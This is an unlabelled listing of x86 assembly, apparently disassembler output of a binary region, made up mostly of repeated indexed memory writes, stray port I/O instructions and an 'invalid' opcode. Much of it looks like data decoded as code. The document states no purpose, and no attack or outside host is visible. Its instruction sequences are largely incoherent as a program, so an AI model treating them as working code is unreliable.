mov dword [esi + 0xf09b], 0x9c86c76f
lock add byte [eax], al
mov dword gs:[esi + 0xf09d], 0x9e86c753
lock add byte [eax], al
mov word [esi + 0xf09f], 0xc774
xchg byte [eax + 0x700000f0], ah
mov dword [esi + 0xf0a1], 0xa286c776
lock add byte [eax], al
jae 0x42faa6
xchg byte [ebx + 0x640000f0], ah
mov dword [esi + 0xf0a4], 0xa586c766
lock add byte [eax], al
pop eax
mov dword [esi + 0xf0a6], 0xe3825301
xor bl, byte [edx]
add dword [ecx], eax
in al, dx
push es
inc ecx
cmp cl, byte [esi + 0x4b]
dec ecx
pop ebx
push edx
in al, dx
add al, 0x49
dec esp
dec esp
pop edx
pop eax
sub al, 0xe4
mov byte [ecx], 1
cmp al, 0x1b
xchg edx, eax
add dword [ecx], eax
cmp al, 0x87
dec edi
add dword [ecx], eax
in al, dx
pop es
dec eax
dec ecx
inc eax
inc ebp
inc eax
aas
pushal
mov dword [esi + 0xf0b9], 0xba86c74d
lock add byte [eax], al
jo 0x42fb02
mov dword [esi + 0xf0ba], 0xbb86c770
lock add byte [eax], al
invalid
mov dword [esi + 0xf0bb], 0xbc86c762
lock add byte [eax], al
mov dword gs:[esi + 0xf0bd], 0xbe86c753
lock add byte [eax], al
mov word [esi + 0xf0bf], 0xc774
xchg byte [ebx + 0x620000f0], bh
mov dword [esi + 0xf0bc], 0xbd86c765
lock add byte [eax], al
push ebx
mov dword [esi + 0xf0be], 0xbf86c766
lock add byte [eax], al
je 0x42fb25
xchg al, al
lock add byte [eax], al
jo 0x42fb2c
xchg cl, al
lock add byte [eax], al
jbe 0x42fb33
xchg dl, al
lock add byte [eax], al
jae 0x42fb3a
xchg bl, al
lock add byte [eax], al
mov dword fs:[esi + 0xf0c4], 0xc586c766
lock add byte [eax], al
add dword [ebx + 0x51], edx
test ch, al
add eax, 0x6c37c382
add al, byte [ecx]
or bl, 0x61
je 0x42fb98
add dword [ecx], eax
add dword [edx + 0x21f0af3], eax
add esp, ebp
xor bl, 0xa
pop ds
add al, byte [ecx]
in al, dx
pop es
cmp dword [edi + 0x4e], ecx
cmp dword [ecx + 0x3a], ecx
pop ebx
pop eax
push ebx
test ch, al
add eax, 0x1201e882
add al, byte [ecx]
sub al, 0x1f
pop eax
add al, byte [ecx]
pushal
mov dword [esi + 0xf085], 0x8686c754
lock add byte [eax], al
push 0xffffffffffffffc7
xchg byte [edi + 0x7b0000f0], al
mov dword [esi + 0xf086], 0x8786c76a
lock add byte [eax], al
jnp 0x42fb96
mov dword [esi + 0xf088], 0x8986c766
lock add byte [eax], al
push eax
mov dword [esi + 0xf08a], 0x8b86c767
lock add byte [eax], al
push ebx
mov dword [esi + 0xf08c], 0x8d86c766
lock add byte [eax], al
je 0x42fbc0
xchg byte [eax + 0x660000f0], cl
mov dword [esi + 0xf089], 0x8a86c750
lock add byte [eax], al
mov dword [bp - 0xf75], 0xc7530000
xchg byte [eax + esi*8 - 0x389a0000], cl
xchg byte [ebp + 0x740000f0], cl
mov dword [esi + 0xf08e], 0x8f86c770
lock add byte [eax], al
jbe 0x42fbce
xchg byte [esi + 0x700000f0], cl
mov dword [esi + 0xf08f], 0x9086c776
lock add byte [eax], al
jae 0x42fbd5
xchg byte [eax + 0x730000f0], dl
mov dword [esi + 0xf091], 0x9286c764
lock add byte [eax], al
mov word [esi + 0xf093], 0x5801
or al, 0x6f
dec ecx
add al, byte [ecx]
in al, dx
xchg byte [ecx + 0x640000f0], dl
mov dword [esi + 0xf092], 0x9386c766
lock add byte [eax], al
add dword [eax - 0x7e], ebx
enter 0x496f, 2
add esp, ebp
pop es
dec edi
xor al, 0x43
cmp eax, 0x7884d082
add dword [ecx], eax
pushal
push ebx
sub bl, 0xc
cmp dword [edx], eax
add dword [ebx + 0x57], ebx
sub bh, 0xf6
sub al, 1
add dword [edi + 0x57], ebx
push edi
test ch, al
add eax, 0x76ffe782
add al, byte [ecx]
pop edi
and bh, 0xff
jbe 0x42fc54
add dword [edi - 0x39], ebx
xchg byte [ecx + 0x4d0000f0], ch
mov dword [esi + 0xf0aa], 0xab86c770
lock add byte [eax], al
mov dword fs:[esi + 0xf0ac], 0xad86c76c
mov dword [esi + 0xf0a9], 0xaa86c74d
lock add byte [eax], al
jo 0x42fc2a
mov dword [esi + 0xf0ab], 0xac86c764
lock add byte [eax], al
insb byte es:[edi], dx
mov dword [esi + 0xf0ad], 0xae86c753
lock add byte [eax], al
mov word [esi + 0xf0af], 0xc774
xchg byte [ebx + 0x640000f0], ch
mov dword [esi + 0xf0ac], 0xad86c76c
lock add byte [eax], al
push ebx
mov dword [esi + 0xf0ae], 0xaf86c766
lock add byte [eax], al
je 0x42fc4d
xchg byte [eax + 0x700000f0], dh
mov dword [esi + 0xf0b1], 0xb286c776
lock add byte [eax], al
jae 0x42fc62
xchg byte [ebx + 0x640000f0], dh
mov dword [esi + 0xf0b4], 0xb586c766
lock add byte [eax], al
add dword [edi - 0x7e], edx
out dx, eax
wait
cld
add dword [ecx], eax
pop edi
push edx
push ecx
test ch, al
add eax, 0x1010ce9
add dword [ecx], eax
cmp eax, 0x3f4f413f
push eax
inc ecx
push eax
cmp al, 0x3d
test ch, al
add eax, 0x2d84ca82
add al, byte [ecx]
in al, dx
add al, 0x3c
cmp al, 0x50
in al, dx
add eax, 0x3a484c43
pop edx
mov ecx, 0x101016e
mov al, byte [bp - 0x157f]
add byte [eax], al
mov edx, 0x1010174
mov cl, byte [bp - 0x157d]
add byte [eax], al
mov ebx, 0x1010146
mov dl, byte [bp - 0x157b]
add byte [eax], al
mov ecx, 0x101016e
mov al, byte [bp - 0x1579]
add byte [eax], al
mov edx, 0x101014d
mov cl, byte [bp - 0x1577]
add byte [eax], al
mov ebx, 0x1010131
mov dl, byte [bp - 0x1575]
add byte [eax], al
xor al, 0xc1
mov al, byte [bp - 0x1573]
add byte [eax], al
push ecx
push edi
test ch, al
add eax, 0xbc7fc182
add dword [ecx], eax
jmp 0x143fe4d